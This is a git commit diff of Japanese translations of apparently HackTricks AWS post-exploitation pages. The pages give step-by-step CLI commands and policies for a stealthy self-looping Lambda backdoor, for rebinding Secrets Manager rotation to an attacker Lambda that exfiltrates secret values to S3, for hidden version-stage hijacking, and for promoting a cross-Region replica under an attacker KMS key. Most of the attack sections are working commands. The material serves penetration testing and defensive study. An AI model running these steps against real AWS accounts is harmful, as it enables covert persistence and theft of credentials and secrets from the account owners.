Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-10-23 13:10:21 +00:00
parent 3aeb03e96b
commit 2a1f379497
18 changed files with 489 additions and 472 deletions

View File

@@ -1,10 +1,12 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Lambda の asynchronous destinations と Recursion 設定を悪用して、外部スケジューラEventBridge、cron 等)を使わずに関数を継続的に自己再呼び出しさせます。デフォルトでは Lambda は再帰ループを終了しますが、recursion config を Allow に設定するとこれが再び有効になります。Destinations は async invokes をサービス側で配信するため、単一のシード invoke によりコード不要のステルスなハートビート/バックドアチャンネルが作成されます。ノイズを抑えるために reserved concurrency でスロットリングすることも可能です。
{{#include ../../../../banners/hacktricks-training.md}}
Lambda の asynchronous destinations と Recursion 設定を悪用して、外部のスケジューラEventBridge、cron など)なしで関数を継続的に自己再呼び出しさせる。デフォルトでは Lambda は再帰ループを終了させるが、recursion 設定を Allow にすると再び有効になる。Destinations は async invokes に対してサービス側で配信されるため、単一のシード呼び出しでコード不要のステルスなハートビート/バックドアチャネルを作れる。雑音を抑えるために reserved concurrency でスロットルするのも有効。
Notes
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
- Minimum permissions: ability to read/update the target functions event invoke config and recursion config, publish a version and manage an alias, and update the functions execution role policy to allow lambda:InvokeFunction on the alias.
- Lambda は関数を直接そのものの destination に設定することを許可していない。destination として関数の alias を使用し、execution role にその alias を invoke する権限を与える。
- 最低限の権限: ターゲット関数の event invoke config recursion config を読み/更新する権限、バージョンを publish して alias を管理する権限、そして関数の execution role ポリシーを更新して alias に対する lambda:InvokeFunction を許可する権限。
## Requirements
- Region: us-east-1
@@ -19,7 +21,7 @@ Notes
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) バージョンを公開し、エイリアスを作成/更新する(自身を宛先として使用)
2) バージョンを公開し、エイリアスを作成/更新する(自宛先として使用)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) 関数の実行ロールがエイリアスを呼び出せるようにするLambda Destinations→Lambda が必要とする
3) 関数の実行ロールがエイリアスを呼び出せるように許可するLambda Destinations→Lambda が必要)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) async destination を alias (self via alias) に設定し、retries を無効化する
4) async destination を aliasself via aliasに設定し、retries を無効化する
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
@@ -73,12 +75,12 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) 任意の stealth throttle
8) 任意のステルス・スロットリング
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## クリーンアップ
ループを停止し、persistence を削除する。
ループを停止して永続化を削除する。
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## 影響
- 単一の async invoke により、外部のスケジューラなしで Lambda が自己を継続的に再呼び出しし、ステルスな persistence/heartbeat を可能にします。Reserved concurrency により、ノイズを単一の warm execution に制限できます。
- 単一の async invoke により、外部のスケジューラなしで Lambda が継続的に自分自身を再呼び出しし、ステルスな persistence/heartbeat を可能にします。Reserved concurrency ノイズを単一のウォーム実行に制限できます。
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,24 +1,24 @@
# AWS - Secrets Manager Persistence
# AWS - Secrets Manager 永続化
{{#include ../../../../banners/hacktricks-training.md}}
## Secrets Manager
詳細は以下を参照してください
詳細は以下を参照してください:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Via Resource Policies
### リソースポリシー経由
Resource policies を介して外部アカウントに **secrets へのアクセスを付与することが可能** です。詳細は [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を確認してください。外部アカウントが **secret にアクセスするためには**、その secret を暗号化している **KMS key へのアクセスも必要**である点に注意してください。
リソースポリシーを使って、外部アカウントに**シークレットへのアクセスを付与する**ことが可能です。詳しくは[**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)を確認してください。シークレットに**アクセスする**ためには、外部アカウントがシークレットを暗号化している**KMSキーへのアクセス**も必要である点に注意してください。
### Via Secrets Rotate Lambda
### Secrets Rotate Lambda経由
secrets を自動的に回転させるために設定された Lambda が呼び出されます。攻撃者が Lambda の code を変更できれば、新しい secret を直接自分に exfiltrate することができます。
シークレットを自動で**rotate secrets**するために設定された**Lambda**が呼び出されます。攻撃者が**change**して**code**を改変できれば、新しいシークレットを直接**exfiltrate the new secret**することが可能になります。
This is how lambda code for such action could look like:
このような処理を行うLambda codeの例は次の通りです:
```python
import boto3
@@ -48,34 +48,28 @@ import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
{{#include ../../../../banners/hacktricks-training.md}}
### RotateSecret を使ってローテーション用 Lambda を攻撃者制御の関数に差し替える
### RotateSecret を介してローテーション Lambda を攻撃者制御の関数に差し替える
Abuse `secretsmanager:RotateSecret` を使って、シークレットを攻撃者制御のローテーション Lambda に再バインドし、即時ローテーションをトリガーします。悪意のある関数はローテーションの各ステップcreateSecret/setSecret/testSecret/finishSecretでシークレットのバージョンAWSCURRENT/AWSPENDINGを攻撃者の受け取り先S3 や外部 HTTPへ exfiltrates します。
`secretsmanager:RotateSecret` を悪用してシークレットを攻撃者制御の rotation Lambda に再バインドし、即時ローテーションをトリガーします。悪意ある関数はローテーションの各ステップ(createSecret/setSecret/testSecret/finishSecret)の間にシークレットのバージョン(AWSCURRENT/AWSPENDING)を攻撃者の受け皿(例: S3 や外部 HTTPへ exfiltrate します。
- 要件
- 権限: `secretsmanager:RotateSecret`, `lambda:InvokeFunction`(攻撃者 Lambda 上で), `iam:CreateRole/PassRole/PutRolePolicy`(または AttachRolePolicy— Lambda 実行ロールに `secretsmanager:GetSecretValue` とできれば `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`(ローテーション維持のため)を付与できること、シークレットの KMS キーに対する KMS `kms:Decrypt`、および exfiltration 用の `s3:PutObject`(または外部送信許可)。
- ローテーション有効なターゲットsecret id (`SecretId`)、もしくはローテーションを有効化できる権限
- 権限: `secretsmanager:RotateSecret`、攻撃者 Lambda に対する `lambda:InvokeFunction`Lambda 実行ロールをプロビジョニングするための `iam:CreateRole/PassRole/PutRolePolicy`(または AttachRolePolicyロールに `secretsmanager:GetSecretValue`(可能なら `secretsmanager:PutSecretValue`)、`secretsmanager:UpdateSecretVersionStage`(ローテーション継続のため)、シークレットの KMS キーに対する KMS `kms:Decrypt`、および exfiltration 用の `s3:PutObject`(または外部への送信許可)。
- ローテーション有効になっている、または有効化できる対象Secret id (`SecretId`)。
- 影響
- 攻撃者は正規のローテーションコードを変せずにシークレット値を取得できます。変更されるのはローテーション設定のみで、攻撃者の Lambda を指すようになります。発見されなければ、今後スケジュールされたローテーションも継続して攻撃者の関数を呼び出します。
- 攻撃者は正規のローテーションコードを変せずにシークレット値を取得できます。ローテーション設定のみ攻撃者の Lambda を指すように変更します。検出されなければ、今後スケジュールされたローテーションも攻撃者の関数を呼び続けます。
- 攻撃手順 (CLI)
1) 攻撃者の受け取り先と Lambda ロールを用意
- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレット読み取り S3 書き込(必要に応じてログ/KMS 権限)を付与します。
2) 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイ
- 最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させサービスを健全に保つだけでも十分です
3) ローテーションを差し替えてトリガー
1) 攻撃者の受けと Lambda 実行ロールを準備する
- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレット読み取り S3 書き込む権限(必要に応じてログ/KMS 権限)を付与す
2) 攻撃者 Lambda をデプロイする
- 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイする。最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させるだけでサービスを維持できる
3) ローテーションを再バインドしてトリガーする
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) そのシークレットに対する S3 プレフィックスを一覧表示して JSON アーティファクトを検査し、exfiltration を確認します
5) 任意)検出を減らすため元のローテーション Lambda を復元します。
4) そのシークレット S3 プレフィックスを列挙し JSON アーティファクトを確認して exfiltration を検証する
5) オプション)検出を抑えるため元のローテーション Lambda を復元す
- Example attacker Lambda (Python) exfiltrating to S3
- S3 に exfiltrate する攻撃者 Lambda (Python) の例
- Environment: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
@@ -105,14 +99,14 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
```
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Secrets Manager の version staging ラベルを悪用して、攻撃者が制御するシークレットのバージョンを植え付け、カスタムステージ(例: `ATTACKER`)の下に隠したまま、プロダクションは元の `AWSCURRENT` を使用し続けさせます。任意のタイミングで `AWSCURRENT` を攻撃者のバージョンに移して依存ワークロードを汚染し、その後検出を最小化するために元に戻します。これにより、シークレット名や回転設定を変更せずに、ステルスなバックドア永続化と迅速な用時操作が可能になります。
Secrets Manager のバージョンステージラベルを悪用して、攻撃者が制御するシークレットのバージョンを仕込み、production が元の `AWSCURRENT` を使い続ける間にカスタムステージ(例: `ATTACKER`)の下に隠しておきます。任意のタイミングで `AWSCURRENT` を攻撃者のバージョンに移して依存するワークロードを汚染し、その後すぐに元に戻して検出を最小化します。これにより、シークレット名やローテーション設定を変更せずに、ステルスなバックドア永続化と迅速な使用時操作が可能になります。
- 要件
- 権限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (検証用)
- 対象のシークレット IDリージョン
- 必要な権限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (検証用)
- 対象の secret id対象リージョン)
- 影響
- 隠された攻撃者制御のシークレットバージョンを持し、必要に応じて `AWSCURRENT` をそれに切り替えることで、同じシークレット名を解決するすべてのコンシューマに影響を与えます。素早い切り替えと即時の復元により、検出の可能性を下げつつ利用時の侵害を実現します。
- シークレットの攻撃者制御のバージョンを隠して保持し、必要に応じて原子的に `AWSCURRENT` をそれに切り替えることで、同じシークレット名を解決するすべての利用者に影響を与えます。切り替えと即時のリバートにより検知される可能性を下げつつ、使用時点での乗っ取りを可能にします。
- 攻撃手順 (CLI)
- 準備
@@ -168,24 +162,24 @@ aws secretsmanager update-secret-version-stage \
```
</details>
-
-
- `--client-request-token` を指定すると、Secrets Manager はそれを `VersionId` として使用します。`--version-stages` を明示的に設定せずに新しいバージョンを追加すると、デフォルトで `AWSCURRENT` が新しいバージョンに移動し、以前のものが `AWSPREVIOUS` としてマークされます。
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
Secrets Manager multi-Region replication を悪用して、ターゲット secret のレプリカを監視の緩い Region に作成し、その Region の attacker 制御の KMS キーで暗号化します。次にレプリカをスタンドアロンの secret に promote し、attacker に読み取りアクセスを付与する permissive resource policy をアタッチします。primary Region にある元の secret は変更されないため、promoted replica を介して secret 値への持続的かつステルスなアクセスを確保し、primary の KMS/ポリシー制約を回避できます。
- 要件
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- replica Region で: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) により攻撃者主体が `kms:Decrypt` できるようにすること。
- 昇格した secret 読み取りアクセスを受ける攻撃者主体 (user/role)。
- 権限: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- replica Region で: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) が必要で、attacker principal に対して `kms:Decrypt` を許可できること。
- promoted secret に対して読み取りアクセスを受け取る attacker principal (user/role)。
- 影響
- 攻撃者が管理する KMS CMK permissive resource policy の下にある standalone replica を通じて、secret 値への続的なクロスリージョンアクセス経路が確立されます。元の Region primary secret は変更されません。
- attacker-controlled の KMS CMK および permissive resource policy 下のスタンドアロンレプリカを介した、secret 値への続的なクロス-Region アクセス経路。元の Region にある primary secret は変更されません。
- 攻撃 (CLI)
- Vars
- 攻撃CLI
- 変数
```bash
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
@@ -193,7 +187,7 @@ export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
```
1) レプリカリージョンに攻撃者が制御する KMS キーを作成する
1) レプリカ Region に攻撃者が制御する KMS キーを作成する
```bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
@@ -206,7 +200,7 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```
2) attacker KMS key を使って secret を R2 に複製する
2) attacker KMS key を使用してシークレットを R2 に複製する
```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
@@ -219,7 +213,7 @@ NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) R2 の standalone secret に permissive resource policy を付与する
4) R2 の単独のシークレットに対して許容的なリソースポリシーを添付する
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
@@ -227,9 +221,9 @@ JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```
5) R2 の attacker principal からシークレットを読み取る
5) R2 の attacker principal から secret を読み取る
```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```
{{#include ../../../../banners/hacktricks-training.md}}